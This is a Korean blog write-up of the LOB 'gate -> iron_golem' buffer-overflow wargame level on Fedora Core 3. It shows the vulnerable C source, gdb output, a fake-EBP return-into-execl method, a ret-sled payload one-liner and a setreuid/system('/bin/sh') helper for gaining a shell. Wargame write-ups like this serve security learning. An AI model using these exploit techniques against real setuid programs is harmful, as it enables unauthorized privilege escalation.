[LOB FC3] gate -> iron_golem
음... LOB는 여기서 writeup을 접으려했으나;
역시 끝까지 다하는게 좋을거같아서 적는다.
/* The Lord of the BOF : The Fellowship of the BOF - iron_golem - Local BOF on Fedora Core 3 - hint : fake ebp */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
힌트는 fake ebp!
하지만 ret sled로도 풀수 있다.
하지만 뭐... fake ebp라니까 먼저 이쪽으로 해보자
구성은
buf(256) + fakeEbp(4) + [execl주소+3](4)
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
Dump of assembler code for function execl: 0x007a5720 <execl+0>: push ebp 0x007a5721 <execl+1>: mov ebp,esp 0x007a5723 <execl+3>: lea ecx,[ebp+16] 0x007a5726 <execl+6>: push edi 0x007a5727 <execl+7>: push esi 0x007a5728 <execl+8>: push ebx 0x007a5729 <execl+9>: sub esp,0x1038 0x007a572f <execl+15>: mov eax,DWORD PTR [ebp+12] 0x007a5732 <execl+18>: mov DWORD PTR [ebp-16],0x400 |
fakeEbp의 위치로는 got가 적당할거 같아서 저쪽을 알아보자.
저곳을 사용하면 좋겠다. 0x0804954c의 값은 0x01이고 실행할때 마다 값이 변하지 않는다. 뒤에 0x0000(null)이 있으므로 인자의 끝을 넣기도 좋다.
실행할 파일이름을 0x01로 지정해주든... 심볼릭 링크를 걸든해서 설정해주고
저곳으로 FakeEBP(0x8049610)해주면 될것같다.
#include <stdlib.h> int main() { setreuid(geteuid(), geteuid()); system("/bin/sh"); return 0; } | cs |
buf(256) + fakeEbp(4) + [execl주소+3](4)
굿!!
한번 Ret sled도 써보겠다.
ret sled로 스택을 이동하여 execl의 인자로 적당한 값이 있는 곳에서 execl을 실행하면 된다.
0x0083eff4 0x00000000 이 있고, 이 값은 변하지 않는다.(몇번 실행을 통해 알 수 있다.)
0x0083eff4의 값도 0x83ed3c로 고정되어 있으므로, ret sled로 주소값을 올려 저 값을 execl인자로 넣게 하자
ret주소 : 0x08048441
execl주소 : 0x7a5720
payload : /iron_golem "`python -c 'print("A"*268+"\x41\x84\x04\x08"*3+"\x20\x57\x7a\x00")'`"
참고로 \x20 이 엔터값이라서 큰 따옴표로 한번 묶어서 넣어줘야한다.
오키... 클리어
'Wargame > LOB' 카테고리의 다른 글
[LOB FC3] dark_eyes -> hell_fire (0) | 2018.04.25 |
---|---|
[LOB FC3] iron_golem -> dark_eyes (0) | 2018.04.25 |
[LOB FC3] dark_eyes -> hell_fire에서 system함수를 사용할때 오류 (0) | 2018.04.23 |
[LOB] xavius -> death_knight (0) | 2018.04.04 |
[LOB] nightmare -> xavius (0) | 2018.04.03 |